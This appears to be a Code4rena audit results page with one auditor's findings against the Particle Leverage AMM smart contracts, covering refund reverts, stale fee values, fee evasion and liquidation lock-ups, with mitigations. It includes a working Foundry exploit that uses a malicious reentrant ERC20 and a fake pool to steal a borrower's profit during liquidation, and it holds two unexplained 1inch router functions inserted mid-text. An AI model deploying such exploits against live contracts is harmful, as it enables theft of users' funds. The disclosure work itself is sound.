Particle Leverage AMM Protocol Invitational - bin2chen's results

Lines of code

https://github.com/code-423n4/2023-12-particle/blob/a3af40839b24aa13f5764d4f84933dbfa8bc8134/contracts/protocol/ParticlePositionManager.sol#L311

Vulnerability details

Vulnerability details

Currently, there are two ways to retrieve Liquidity

1. borrower actively close position : call closePosition()
2. be forced liquidation leads to close position : liquidatePosition() -> _closePosition()

No matter which one, if there is a profit in the end, it needs to be refunded to the borrower

    function _closePosition(
        DataStruct.ClosePositionParams calldata params,
        DataCache.ClosePositionCache memory cache,
        Lien.Info memory lien,
        address borrower
    ) internal {
..

       if (lien.zeroForOne) {
            cache.token0Owed = cache.token0Owed < cache.tokenToPremium ? cache.token0Owed : cache.tokenToPremium;
            cache.token1Owed = cache.token1Owed < cache.tokenFromPremium ? cache.token1Owed : cache.tokenFromPremium;
@>           Base.refundWithCheck(
                borrower,
                cache.tokenFrom,
                cache.collateralFrom + cache.tokenFromPremium,
                cache.amountSpent + cache.amountFromAdd + cache.token1Owed
            );
@>          Base.refundWithCheck(
                borrower,
                cache.tokenTo,
                cache.amountReceived + cache.tokenToPremium,
                cache.amountToAdd + cache.token0Owed
            );
        } else {
            cache.token0Owed = cache.token0Owed < cache.tokenFromPremium ? cache.token0Owed : cache.tokenFromPremium;
            cache.token1Owed = cache.token1Owed < cache.tokenToPremium ? cache.token1Owed : cache.tokenToPremium;
@>           Base.refundWithCheck(
                borrower,
                cache.tokenFrom,
                cache.collateralFrom + cache.tokenFromPremium,
                cache.amountSpent + cache.amountFromAdd + cache.token0Owed
            );
@>           Base.refundWithCheck(
                borrower,
                cache.tokenTo,
                cache.amountReceived + cache.tokenToPremium,
                cache.amountToAdd + cache.token1Owed
            );
        }


    function refund(address recipient, address token, uint256 amountExpected, uint256 amountActual) internal {
        if (amountExpected > amountActual) {
@>          TransferHelper.safeTransfer(token, recipient, amountExpected - amountActual);
        }
    }

In this way, if the borrower enters the token0 or token1 blacklist, such as USDC

and the token always has a profit, then refund() -> TransferHelper.safeTransfer() will definitely revert, causing _closePositon() to always revert, and LP's Liquidity is locked in the contract

Impact

If the borrower enters the token blacklist and always has a profit, LP may not be able to retrieve Liquidity

Recommended Mitigation

Add a new claims[token] mechanism If refund()-> transfer() fails, record claims[token]+= (amountExpected - amountActual) And provide methods to support borrower to claim()

Assessed type

ERC20

Lines of code

https://github.com/code-423n4/2023-12-particle/blob/a3af40839b24aa13f5764d4f84933dbfa8bc8134/contracts/protocol/ParticlePositionManager.sol#L160-L167

Vulnerability details

Vulnerability details

When openPosition(), we need to record the current feeGrowthInside0LastX128/feeGrowthInside1LastX128. And when closing the position, we use Base.getOwedFee() to calculate the possible fees generated during the borrowing period, which are used to pay the LP.

openPosition() -> Base.prepareLeverage()

    function openPosition(
        DataStruct.OpenPositionParams calldata params
    ) public override nonReentrant returns (uint96 lienId, uint256 collateralTo) {
        if (params.liquidity == 0) revert Errors.InsufficientBorrow();

        // local cache to avoid stack too deep
        DataCache.OpenPositionCache memory cache;

        // prepare data for swap
        (
            cache.tokenFrom,
            cache.tokenTo,
            cache.feeGrowthInside0LastX128,
            cache.feeGrowthInside1LastX128,
            cache.collateralFrom,
            collateralTo
        ) = Base.prepareLeverage(params.tokenId, params.liquidity, params.zeroForOne);
...

        liens[keccak256(abi.encodePacked(msg.sender, lienId = _nextRecordId++))] = Lien.Info({
            tokenId: uint40(params.tokenId),
            liquidity: params.liquidity,
            token0PremiumPortion: cache.token0PremiumPortion,
            token1PremiumPortion: cache.token1PremiumPortion,
            startTime: uint32(block.timestamp),
@>          feeGrowthInside0LastX128: cache.feeGrowthInside0LastX128,
@>          feeGrowthInside1LastX128: cache.feeGrowthInside1LastX128,
            zeroForOne: params.zeroForOne
        });


    function prepareLeverage(
        uint256 tokenId,
        uint128 liquidity,
        bool zeroForOne
    )
        internal
        view
        returns (
            address tokenFrom,
            address tokenTo,
            uint256 feeGrowthInside0LastX128,
            uint256 feeGrowthInside1LastX128,
            uint256 collateralFrom,
            uint256 collateralTo
        )
    {
...
            ,
@>          feeGrowthInside0LastX128,
@>          feeGrowthInside1LastX128,
            ,

      ) = UNI_POSITION_MANAGER.positions(tokenId);

    }

From the above code, we can see that the final value saved to liens[].feeGrowthInside0LastX128/feeGrowthInside1LastX128 is directly taken from UNI_POSITION_MANAGER.positions(tokenId).

The problem is: The value in UNI_POSITION_MANAGER.positions(tokenId) is not the latest.

Only when executing UNI_POSITION_MANAGER.increaseLiquidity()/decreaseLiquidity()/collect() will it synchronize the pool's feeGrowthInside0LastX128/feeGrowthInside1LastX128.

Because of using the stale value, it leads to a smaller value relative to the actual value. When closePosition(), the calculated difference will be larger, and the borrower will pay extra fees.

Impact

Due to use stale feeGrowthInside0LastX128/feeGrowthInside1LastX128, the borrower will pay extra fees.

Proof of Concept

The following test code demonstrates that after swap(), UNI_POSITION_MANAGER.positions(tokenId) is not the latest unless actively executing UNI_POSITION_MANAGER.collect().

add to Swap.t.sol

    function testShowCache() public {
        (,,,,,,,,uint256 feeGrowthInside0LastX128,uint256 feeGrowthInside1LastX128,,) = nonfungiblePositionManager.positions(_tokenId);
        console.log("feeGrowthInside0LastX128(first):",feeGrowthInside0LastX128);
        console.log("feeGrowthInside1LastX128(first):",feeGrowthInside1LastX128);         
        _swap();
        (,,,,,,,,uint256 feeGrowthInside0LastX128Swap,uint feeGrowthInside1LastX128Swap,,) = nonfungiblePositionManager.positions(_tokenId);
        console.log("equal 0 (after swap):",feeGrowthInside0LastX128Swap == feeGrowthInside0LastX128);
        console.log("equal 1 (after swap):",feeGrowthInside1LastX128Swap == feeGrowthInside1LastX128);
        vm.startPrank(LP);
        particlePositionManager.collectLiquidity(_tokenId);
        vm.stopPrank();          
        (,,,,,,,,uint256 feeGrowthInside0LastX128After,uint256 feeGrowthInside1LastX128After,,) = nonfungiblePositionManager.positions(_tokenId);
        console.log("feeGrowthInside0LastX128(after collect):",feeGrowthInside0LastX128After);
        console.log("feeGrowthInside1LastX128(after collect):",feeGrowthInside1LastX128After); 
        
        console.log("feeGrowthInside0LastX128(more):",feeGrowthInside0LastX128After - feeGrowthInside0LastX128);
        console.log("feeGrowthInside1LastX128(more):",feeGrowthInside1LastX128After - feeGrowthInside1LastX128);
    }

forge test -vvv --match-test testShowCache --fork-url https://eth-mainnet.g.alchemy.com/v2/xxxxx --fork-block-number 18750931

Logs:
  feeGrowthInside0LastX128(first): 72311088602808532523286912166257
  feeGrowthInside1LastX128(first): 29354860053667370145800991738605288969228
  equal 0 (after swap): true
  equal 1 (after swap): true
  feeGrowthInside0LastX128(after collect): 72311299261479720625185125361673
  feeGrowthInside1LastX128(after collect): 29354860053667370145800991738605288969228
  feeGrowthInside0LastX128(more): 210658671188101898213195416
  feeGrowthInside1LastX128(more): 0

Recommended Mitigation

After LiquidityPosition.collectLiquidity(), execute Base.prepareLeverage() to ensure the latest feeGrowthInside0LastX128/feeGrowthInside1LastX128.

    function openPosition(
        DataStruct.OpenPositionParams calldata params
    ) public override nonReentrant returns (uint96 lienId, uint256 collateralTo) {
    function openPosition(
        DataStruct.OpenPositionParams calldata params
    ) public override nonReentrant returns (uint96 lienId, uint256 collateralTo) {
        if (params.liquidity == 0) revert Errors.InsufficientBorrow();

        // local cache to avoid stack too deep
        DataCache.OpenPositionCache memory cache;

-       // prepare data for swap
-       (
-           cache.tokenFrom,
-            cache.tokenTo,
-            cache.feeGrowthInside0LastX128,
-            cache.feeGrowthInside1LastX128,
-            cache.collateralFrom,
-            collateralTo
-        ) = Base.prepareLeverage(params.tokenId, params.liquidity, params.zeroForOne);

        // decrease liquidity from LP position, pull the amount to this contract
        (cache.amountFromBorrowed, cache.amountToBorrowed) = LiquidityPosition.decreaseLiquidity(
            params.tokenId,
            params.liquidity
        );
        LiquidityPosition.collectLiquidity(
            params.tokenId,
            uint128(cache.amountFromBorrowed),
            uint128(cache.amountToBorrowed),
            address(this)
        );
+       // prepare data for swap
+        (
+            cache.tokenFrom,
+            cache.tokenTo,
+            cache.feeGrowthInside0LastX128,
+            cache.feeGrowthInside1LastX128,
+            cache.collateralFrom,
+            collateralTo
+        ) = Base.prepareLeverage(params.tokenId, params.liquidity, params.zeroForOne);

Assessed type

Decimal

Lines of code

https://github.com/code-423n4/2023-12-particle/blob/a3af40839b24aa13f5764d4f84933dbfa8bc8134/contracts/protocol/ParticlePositionManager.sol#L311

Vulnerability details

Vulnerability details

When the Loan expires, and RenewalCutoffTime has been set, anyone can execute the liquidation method liquidatePosition(). Execution path: liquidatePosition() -> _closePosition() -> Base.swap(params.data)

The problem is that this params.data can be arbitrarily constructed by the liquidator. As long as there is enough amountReceived after the exchange for repayment, it will not revert.

In this way, you can maliciously construct data and steal the extra profit of the liquidator. (At least amountReceived must be guaranteed)

Assume:

collateral + tokenPremium = 120 repay minimum amountReceived only need 100 to swap so borrower Profit 120 - 100 = 20

1. create fakeErc20 and fakePool (token0 = fakeErc20,token1 = WETH)
2. execute liquidatePosition():pool = fakePool , swapAmount = 120 (all collateral + tokenPremium)
3. in fakeErc20.transfer() reentry execute reply 100 equivalent amountReceived (transfer to ParticlePositionManager)
4. liquidatePosition() success , steal 120 - 100 = 20

Proof of Concept

add to LiquidationTest.t.sol

contract FakeErc20 is ERC20 {
    bool public startTransfer = false;
    address public transferTo;
    uint256 public transferAmount;
    constructor() ERC20("","") {
    }    
    function set(bool _startTransfer,address _transferTo,uint256 _transferAmount) external {
        startTransfer = _startTransfer;
        transferTo = _transferTo;
        transferAmount = _transferAmount;
    }
    function mint(address account, uint256 amount) external {
        _mint(account, amount);
    }
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        //for pay loan , usdc
        if(startTransfer) ERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48).transfer(transferTo,transferAmount);
        return true;
    }    
}


    FakeErc20 public fakeErc20 = new FakeErc20();
    function uniswapV3MintCallback(
        uint256 amount0Owed,
        uint256 amount1Owed,
        bytes calldata
    ) external {
        ERC20 token0 = address(fakeErc20) < address(WETH) ? ERC20(fakeErc20):ERC20(address(WETH));
        ERC20 token1 = address(fakeErc20) < address(WETH) ? ERC20(address(WETH)):ERC20(fakeErc20);
        if (amount0Owed > 0) token0.transfer(msg.sender,amount0Owed);
        if (amount1Owed > 0) token1.transfer(msg.sender,amount1Owed);
        
    }    
    function testStealProfit() public {
        //1. open Position
        _openLongPosition();
        _addPremium(PREMIUM_0, PREMIUM_1);
        vm.warp(block.timestamp + 1 seconds);
        _renewalCutoff();
        vm.warp(block.timestamp + 7 days);

        //2. init fake pool
        address anyone = address(0x123990088); 
        uint256 fakePoolGetETH;
        uint256 payUsdcToLp;
        uint256 amountToAdd;
        bytes memory data;
        vm.startPrank(WHALE);
        WETH.transfer(address(this), 1000e18);
        fakeErc20.mint(address(this), 1000e18);
        vm.stopPrank();
        IUniswapV3Pool fakePool = IUniswapV3Pool(uniswapV3Factory.createPool(address(WETH), address(fakeErc20), FEE));
        fakePool.initialize(TickMath.getSqrtRatioAtTick((_tickLower + _tickUpper) / 2 ));
        fakePool.mint(address(this), _tickLower, _tickUpper, 1e18, "");

        //3. compute swap amount
        {
            (,uint128 token1Owed,,uint128 token1Premium,,uint256 collateral1) = particleInfoReader.getOwedInfo(SWAPPER, LIEN_ID);
            (uint40 tokenId, uint128 liquidity, , , , , , ) = particleInfoReader.getLien(SWAPPER, LIEN_ID);
            (payUsdcToLp, amountToAdd) = Base.getRequiredRepay(liquidity, tokenId);

            uint256 amountSwap = collateral1 + token1Premium - amountToAdd - token1Owed - (token1Premium * LIQUIDATION_REWARD_FACTOR /BASIS_POINT);
            
        
            ISwapRouter.ExactInputSingleParams memory params = ISwapRouter.ExactInputSingleParams({
                tokenIn: address(WETH),
                tokenOut: address(fakeErc20),
                fee: FEE,
                recipient: anyone,
                deadline: block.timestamp,
                amountIn: amountSwap,
                amountOutMinimum: 0,
                sqrtPriceLimitX96:0
            });
            data = abi.encodeWithSelector(ISwapRouter.exactInputSingle.selector, params);
            //4. execute liquidatePosition pay usdc and get eth
            vm.startPrank(WHALE);
            USDC.transfer(address(fakeErc20), payUsdcToLp);
            fakeErc20.set(true,address(particlePositionManager),payUsdcToLp);
            vm.stopPrank();     
            uint256 fakePoolEthBalance = WETH.balanceOf(address(fakePool));
            vm.startPrank(anyone);
            particlePositionManager.liquidatePosition(
                DataStruct.ClosePositionParams({lienId: uint96(LIEN_ID), amountSwap: amountSwap, data: data}),
                SWAPPER
            );
            vm.stopPrank(); 
            fakePoolGetETH = WETH.balanceOf(address(fakePool)) -  fakePoolEthBalance;                
        }
   
        //5. show steal usdc
        console.log("steal eth :",fakePoolGetETH);  
        console.log("pay usdc:",payUsdcToLp / 1e6);  
        uint256 usdcBefore = USDC.balanceOf(address(fakePool));
        _swap(address(fakePool),address(WETH),address(USDC),FEE,fakePoolGetETH); //Simplify: In reality can use fakeErc20 swap eth
        console.log("steal eth swap to usdc:",(USDC.balanceOf(address(fakePool)) - usdcBefore) / 1e6);  
        console.log("steal usdc:",(USDC.balanceOf(address(fakePool)) - usdcBefore - payUsdcToLp)/1e6);  
    }

forge test -vvv --match-test testStealProfit --fork-url https://eth-mainnet.g.alchemy.com/v2/xxx --fork-block-number 18750931


Logs:
  steal eth : 790605367691135637
  pay usdc: 737
  steal eth swap to usdc: 1856
  steal usdc: 1118

Impact

liquidator can construct malicious data to steal the borrower's profit.

Recommended Mitigation

It is recommended to remove data. The protocol already knows the token0/token1 and params.amountSwap that need to be exchanged, which is enough to construct the elements needed for swap.

Assessed type

Other

function swap(
    IAggregationExecutor caller,
    SwapDescription calldata desc,
    bytes calldata data
)
    external
    payable
    returns (uint256 returnAmount, uint256 gasLeft)
{
    require(desc.minReturnAmount > 0, "Min return should not be 0");
    require(data.length > 0, "data should not be empty");

    uint256 flags = desc.flags;
    IERC20 srcToken = desc.srcToken;
    IERC20 dstToken = desc.dstToken;

    bool srcETH = srcToken.isETH();
    if (flags & _REQUIRES_EXTRA_ETH != 0) {
        require(msg.value > (srcETH ? desc.amount : 0), "Invalid msg.value");
    } else {
        require(msg.value == (srcETH ? desc.amount : 0), "Invalid msg.value");
    }

    if (!srcETH) {
        _permit(address(srcToken), desc.permit);
        srcToken.safeTransferFrom(msg.sender, desc.srcReceiver, desc.amount);
    }

    {
        bytes memory callData = abi.encodePacked(caller.callBytes.selector, bytes12(0), msg.sender, data);
        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory result) = address(caller).call{value: msg.value}(callData);
        if (!success) {
            revert(RevertReasonParser.parse(result, "callBytes failed: "));
        }
    }

    uint256 spentAmount = desc.amount;
    returnAmount = dstToken.uniBalanceOf(address(this));

    if (flags & _PARTIAL_FILL != 0) {
        uint256 unspentAmount = srcToken.uniBalanceOf(address(this));
        if (unspentAmount > 0) {
            spentAmount = spentAmount.sub(unspentAmount);
            srcToken.uniTransfer(msg.sender, unspentAmount);
        }
        require(returnAmount.mul(desc.amount) >= desc.minReturnAmount.mul(spentAmount), "Return amount is not enough");
    } else {
        require(returnAmount >= desc.minReturnAmount, "Return amount is not enough");
    }

    address payable dstReceiver = (desc.dstReceiver == address(0)) ? msg.sender : desc.dstReceiver;
    dstToken.uniTransfer(dstReceiver, returnAmount);

    emit Swapped(
        msg.sender,
        srcToken,
        dstToken,
        dstReceiver,
        spentAmount,
        returnAmount
    );

    gasLeft = gasleft();
}

function swap(
    IAggregationExecutor executor,
    SwapDescription calldata desc,
    bytes calldata permit,
    bytes calldata data
)
    external
    payable
    returns (
        uint256 returnAmount,
        uint256 spentAmount
    )
{
    if (desc.minReturnAmount == 0) revert ZeroMinReturn();

    IERC20 srcToken = desc.srcToken;
    IERC20 dstToken = desc.dstToken;

    bool srcETH = srcToken.isETH();
    if (desc.flags & _REQUIRES_EXTRA_ETH != 0) {
        if (msg.value <= (srcETH ? desc.amount : 0)) revert RouterErrors.InvalidMsgValue();
    } else {
        if (msg.value != (srcETH ? desc.amount : 0)) revert RouterErrors.InvalidMsgValue();
    }

    if (!srcETH) {
        if (permit.length > 0) {
            srcToken.safePermit(permit);
        }
        srcToken.safeTransferFrom(msg.sender, desc.srcReceiver, desc.amount);
    }

    _execute(executor, msg.sender, desc.amount, data);

    spentAmount = desc.amount;
    // we leave 1 wei on the router for gas optimisations reasons
    returnAmount = dstToken.uniBalanceOf(address(this));
    if (returnAmount == 0) revert ZeroReturnAmount();
    unchecked { returnAmount--; }

    if (desc.flags & _PARTIAL_FILL != 0) {
        uint256 unspentAmount = srcToken.uniBalanceOf(address(this));
        if (unspentAmount > 1) {
            // we leave 1 wei on the router for gas optimisations reasons
            unchecked { unspentAmount--; }
            spentAmount -= unspentAmount;
            srcToken.uniTransfer(payable(msg.sender), unspentAmount);
        }
        if (returnAmount * desc.amount < desc.minReturnAmount * spentAmount) revert RouterErrors.ReturnAmountIsNotEnough();
    } else {
        if (returnAmount < desc.minReturnAmount) revert RouterErrors.ReturnAmountIsNotEnough();
    }

    address payable dstReceiver = (desc.dstReceiver == address(0)) ? payable(msg.sender) : desc.dstReceiver;
    dstToken.uniTransfer(dstReceiver, returnAmount);
}

Lines of code

https://github.com/code-423n4/2023-12-particle/blob/a3af40839b24aa13f5764d4f84933dbfa8bc8134/contracts/protocol/ParticlePositionManager.sol#L377-L378

Vulnerability details

Vulnerability details

in liquidatePosition()

At the end of the liquidation, the liquidation fee will be transferred to the liquidator.

    function liquidatePosition(
        DataStruct.ClosePositionParams calldata params,
        address borrower
    ) external override nonReentrant {
...

        liquidateCache.liquidationRewardFrom =
            ((closeCache.tokenFromPremium) * LIQUIDATION_REWARD_FACTOR) /
            uint128(Base.BASIS_POINT);
        liquidateCache.liquidationRewardTo =
            ((closeCache.tokenToPremium) * LIQUIDATION_REWARD_FACTOR) /
            uint128(Base.BASIS_POINT);
        closeCache.tokenFromPremium -= liquidateCache.liquidationRewardFrom;
        closeCache.tokenToPremium -= liquidateCache.liquidationRewardTo;

        delete liens[lienKey];

        // execute actual position closing
        _closePosition(params, closeCache, lien, borrower);

        // reward liquidator
@>      TransferHelper.safeTransfer(closeCache.tokenFrom, msg.sender, liquidateCache.liquidationRewardFrom);
@>      TransferHelper.safeTransfer(closeCache.tokenTo, msg.sender, liquidateCache.liquidationRewardTo);

        emit LiquidatePosition(borrower, lien.tokenId, closeCache.amountFromAdd, closeCache.amountToAdd);
    }

The problem with the above code is that when transferring to the liquidator, it does not judge whether liquidationRewardFrom/ liquidationRewardTo is greater than 0.

Some tokens will revert when the transfer quantity is 0 (e.g. LEND).

https://github.com/d-xo/weird-erc20/?tab=readme-ov-file#revert-on-zero-value-transfers

In this way, a malicious borrower can deliberately keep token0PremiumPortion/token1PremiumPortion at 0 or very small amount when openPosition(), causing liquidationRewardFrom/ liquidationRewardTo to always be 0, causing this method liquidatePosition() to always fail and cannot be executed.

Impact

When the transfer quantity of some tokens is 0, it will revert. In pools that include such tokens, malicious borrowers can control tokenPremiumPortion==0 to prevent forced liquidation.

Recommended Mitigation

    function liquidatePosition(
        DataStruct.ClosePositionParams calldata params,
        address borrower
    ) external override nonReentrant {

+     if (liquidateCache.liquidationRewardFrom>0){
        TransferHelper.safeTransfer(closeCache.tokenFrom, msg.sender, liquidateCache.liquidationRewardFrom);
+     }
+     if (liquidateCache.liquidationRewardTo>0){
        TransferHelper.safeTransfer(closeCache.tokenTo, msg.sender, liquidateCache.liquidationRewardTo);
+      }
        emit LiquidatePosition(borrower, lien.tokenId, closeCache.amountFromAdd, closeCache.amountToAdd);
    }

Assessed type

ERC20

Lines of code

https://github.com/code-423n4/2023-12-particle/blob/a3af40839b24aa13f5764d4f84933dbfa8bc8134/contracts/protocol/ParticlePositionManager.sol#L193 https://github.com/code-423n4/2023-12-particle/blob/a3af40839b24aa13f5764d4f84933dbfa8bc8134/contracts/protocol/ParticlePositionManager.sol#L501

Vulnerability details

Vulnerability details

When openPosition, we will charge a certain fee, the calculation formula is as follows: ((marginFrom + amountFromBorrowed) * FEE_FACTOR) / Base.BASIS_POINT

It will include marginFrom, which is mainly used to ensure enough collateralTo after swap(), and an extra part will be deposited as tokenFromPremium

But when addPremium(), no fee is charged.

In this way, we can just ensure enough collateralTo after swap in openPosition(), deliberately let tokenFromPremiumPortion == 0, and then use addPremium() to increase tokenFromPremiumPortion, thereby evading the fee generated by this part of marginFrom

Impact

Using addPremium() to evade the fees that should be paid from marginFrom during openPosition

Recommended Mitigation

Charge fees for addPremium()

    function addPremium(uint96 lienId, uint128 premium0, uint128 premium1) external override nonReentrant {
...

+       uint256 fee0Amount;
+       uint256 fee1Amount;
+       if (lien.zeroForOne) {
+           fee0Amount = (premium0 * FEE_FACTOR) / Base.BASIS_POINT;
+           uint256 treasuryAmount =fee0Amount * _treasuryRate / Base.BASIS_POINT;
+           _treasury[token0] += treasuryAmount;                
+           lps.addTokensOwed(lien.tokenId, uint128(fee0Amount - treasuryAmount), 0);
+       } else {
+          fee1Amount = (premium1 * FEE_FACTOR) / Base.BASIS_POINT;
+           uint256 treasuryAmount =fee1Amount * _treasuryRate / Base.BASIS_POINT;
+           _treasury[token1] += treasuryAmount;                
+           lps.addTokensOwed(lien.tokenId, 0 , uint128(fee1Amount - treasuryAmount));
+       }

        liens.updatePremium(
            lienKey,
-           uint24(((token0Premium + premium0) * Base.BASIS_POINT) / collateral0),
+           uint24(((token0Premium + premium0 - fee0Amount) * Base.BASIS_POINT) / collateral0),
-           uint24(((token1Premium + premium1) * Base.BASIS_POINT) / collateral1)
+           uint24(((token1Premium + premium1 - fee1Amount) * Base.BASIS_POINT) / collateral1)
        );

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-12-particle/blob/a3af40839b24aa13f5764d4f84933dbfa8bc8134/contracts/protocol/ParticlePositionManager.sol#L365

Vulnerability details

Vulnerability details

Currently, there are three ways to close a position:

1. The borrower voluntarily closes it through closePosition().
2. If Premium is insufficient, it is forcibly closed by liquidatePosition().
3. After the loan expires, LP forcibly closes it by setting lien.renewalCutoffTime.

The third way is judged as follows:

    function liquidatePosition(
        DataStruct.ClosePositionParams calldata params,
        address borrower
    ) external override nonReentrant {
...

        if (
            !((closeCache.tokenFromPremium < liquidateCache.tokenFromOwed ||
                closeCache.tokenToPremium < liquidateCache.tokenToOwed) ||
@>            (lien.startTime < lps.getRenewalCutoffTime(lien.tokenId) &&
@>                  lien.startTime + LOAN_TERM < block.timestamp)) 
        ) {
            revert Errors.LiquidationNotMet();
        }

The problem is that this LOAN_TERM can be modified by the administrator.

For example: LOAN_TERM changes from 14 days to 7 days.

The borrower sees 14 days at the time of borrowing, and plans to close the position after 13 days to avoid being forcibly closed and losing the liquidation fee.

However, because the administrator changed LOAN_TERM to 7 days, it was liquidated in advance, resulting in the borrower need to pay the liquidation fee tokenPremium * LIQUIDATION_REWARD_FACTOR/Base.BASIS_POINT.

The loan contract should not be modified during the loan process. It is unreasonable to lose a liquidation fee as a result.

It is recommended that each lien should save the current LOAN_TERM as a snapshot.

Impact

Changing LOAN_TERM from large to small may cause the borrower's position to be liquidated in advance, resulting in additional liquidation fees.

Recommended Mitigation

Add a loanTerm snapshot to lien.

    function openPosition(
        DataStruct.OpenPositionParams calldata params
    ) public override nonReentrant returns (uint96 lienId, uint256 collateralTo) {
..

        liens[keccak256(abi.encodePacked(msg.sender, lienId = _nextRecordId++))] = Lien.Info({
            tokenId: uint40(params.tokenId),
            liquidity: params.liquidity,
            token0PremiumPortion: cache.token0PremiumPortion,
            token1PremiumPortion: cache.token1PremiumPortion,
            startTime: uint32(block.timestamp),
+          loanTerm: LOAN_TERM,
            feeGrowthInside0LastX128: cache.feeGrowthInside0LastX128,
            feeGrowthInside1LastX128: cache.feeGrowthInside1LastX128,
            zeroForOne: params.zeroForOne
        });

    function liquidatePosition(
        DataStruct.ClosePositionParams calldata params,
        address borrower
    ) external override nonReentrant {
...
        if (
            !((closeCache.tokenFromPremium < liquidateCache.tokenFromOwed ||
                closeCache.tokenToPremium < liquidateCache.tokenToOwed) ||
                (lien.startTime < lps.getRenewalCutoffTime(lien.tokenId) &&
-                   lien.startTime + LOAN_TERM < block.timestamp)) 
+                   lien.startTime + lien.loanTerm < block.timestamp)) 
        ) {
            revert Errors.LiquidationNotMet();
        }

library Lien {
    struct Info {
        uint40 tokenId;
        uint128 liquidity;
        uint24 token0PremiumPortion;
        uint24 token1PremiumPortion;
        uint32 startTime;
+      uint256 loanTerm;
        uint256 feeGrowthInside0LastX128;
        uint256 feeGrowthInside1LastX128;
        bool zeroForOne;
    }



## Assessed type

Other

Judge has assessed an item in Issue #37 as 2 risk. The relevant finding follows:

[L-02] openPosition() maybe underflow in openPosition() -> Base.swap()

function openPosition(
    DataStruct.OpenPositionParams calldata params
) public override nonReentrant returns (uint96 lienId, uint256 collateralTo) {

... (cache.amountSpent, cache.amountReceived) = Base.swap( cache.tokenFrom, cache.tokenTo, params.amountSwap, @> collateralTo - cache.amountToBorrowed - params.marginTo, // amount needed to meet requirement DEX_AGGREGATOR, params.data ); The formula collateralTo - cache.amountToBorrowed - params.marginTo may underflow.

This is especially true if the user wants to increase token0PremiumPortion, thereby transferring to marginTo.

For example: (price outOfRange) collateralTo = 100 amountToBorrowed = 100 marginTo = 10 (want to set token0PremiumPortion >10%)

collateralTo - amountToBorrowed - marginTo will underflow.

Suggestions:

    (cache.amountSpent, cache.amountReceived) = Base.swap(
        cache.tokenFrom,
        cache.tokenTo,
        params.amountSwap,

•       collateralTo - cache.amountToBorrowed - params.marginTo, // amount needed to meet requirement
  

•      (cache.amountToBorrowed + params.marginTo) > collateralTo ? 0 : (collateralTo - cache.amountToBorrowed - params.marginTo),
        DEX_AGGREGATOR,
        params.data
    );
  

Lines of code

https://github.com/code-423n4/2023-12-particle/blob/a3af40839b24aa13f5764d4f84933dbfa8bc8134/contracts/protocol/ParticlePositionManager.sol#L135

Vulnerability details

Vulnerability details

LP has only one way to retrieve token, first decreaseLiquidity(), then retrieve through the collectLiquidity() method.

collectLiquidity() only has one parameter, tokenId.

    function collectLiquidity(
        uint256 tokenId
    ) external override nonReentrant returns (uint256 amount0Collected, uint256 amount1Collected) {
        (amount0Collected, amount1Collected) = lps.collectLiquidity(tokenId);
    }

So LP can only transfer the retrieved token to himself: msg.sender.

This leads to a problem. If LP enters the blacklist of a certain token, such as the USDC blacklist,

Because the recipient cannot be specified (lps[] cannot be transferred), this will cause another token not to be retrieved, such as WETH.

Refer to NonfungiblePositionManager.collect() and UniswapV3Pool.collect(), both can specify recipient to avoid this problem.

Impact

collectLiquidity() cannot specify the recipient, causing LP to enter the blacklist of a certain token, and both tokens cannot be retrieved.

Recommended Mitigation

    function collectLiquidity(
        uint256 tokenId,
+      address recipient
    ) external override nonReentrant returns (uint256 amount0Collected, uint256 amount1Collected) {
...

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-12-particle/blob/a3af40839b24aa13f5764d4f84933dbfa8bc8134/contracts/protocol/ParticlePositionManager.sol#L135

Vulnerability details

Vulnerability details

If LP wants to retrieve the Liquidity that has been lent out, it can set a renewalCutoffTime through reclaimLiquidity(). If the borrower does not voluntarily close, liquidatePosition() can be used to forcibly close the position after the loan expires.

    function liquidatePosition(
        DataStruct.ClosePositionParams calldata params,
        address borrower
    ) external override nonReentrant {
...
        if (
            !((closeCache.tokenFromPremium < liquidateCache.tokenFromOwed ||
                closeCache.tokenToPremium < liquidateCache.tokenToOwed) ||
@>              (lien.startTime < lps.getRenewalCutoffTime(lien.tokenId) &&
@>                 lien.startTime + LOAN_TERM < block.timestamp))
        ) {
            revert Errors.LiquidationNotMet();
        }

To forcibly close the position, we still need to wait for the expiration block.timestamp > lien.startTime + LOAN_TERM.

But currently, openPosition() is not restricted by renewalCutoffTime, as long as there is Liquidity, we can open a position.

In this way, malicious borrowers can continuously occupy Liquidity by closing and reopening before expiration. For example:

1. The borrower executes open position, LOAN_TERM = 7 days
2. LP executes reclaimLiquidity() to retrieve Liquidity
3. On the 6th day, borrower execute closePosition() -> openPosition()
4. The new lien.startTime = block.timestamp
5. LP needs to wait another 7 days
6. The borrower repeats the 3rd step, indefinitely postponing

The borrower may need to pay a certain fee when openPosition(). If the benefits can be expected, it is very cost-effective.

Impact

Malicious borrowers can force LPs to be unable to retrieve Liquidity by closing and reopening the Position before it expires.

Recommended Mitigation

It is recommended that when openPosition(), if the current time is less than renewalCutoffTime + LOAN_TERM + 1 days, do not allow new positions to be opened, giving LP a time window for retrieval.

Or set a new flag TOKEN_CLOSE = true to allow lp to specify that Liquidity will no longer be lent out.

    function openPosition(
        DataStruct.OpenPositionParams calldata params
    ) public override nonReentrant returns (uint96 lienId, uint256 collateralTo) {
...
+     require(block.timestamp > (lps[params.tokenId].renewalCutoffTime + LOAN_TERM + 1 days),"LP Restrict Open ");
    

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-12-particle/blob/a3af40839b24aa13f5764d4f84933dbfa8bc8134/contracts/protocol/ParticlePositionManager.sol#L509

Vulnerability details

Vulnerability details

LP can set renewalCutoffTime=block.timestamp by executing reclaimLiquidity(), to force close position

    function liquidatePosition(
        DataStruct.ClosePositionParams calldata params,
        address borrower
    ) external override nonReentrant {
...

        if (
            !((closeCache.tokenFromPremium < liquidateCache.tokenFromOwed ||
                closeCache.tokenToPremium < liquidateCache.tokenToOwed) ||
@>              (lien.startTime < lps.getRenewalCutoffTime(lien.tokenId) &&
                    lien.startTime + LOAN_TERM < block.timestamp)) 
        ) {
            revert Errors.LiquidationNotMet();
        }

The restrictions are:

1. Loan expires
2. lien.startTime < lps.getRenewalCutoffTime(lien.tokenId)

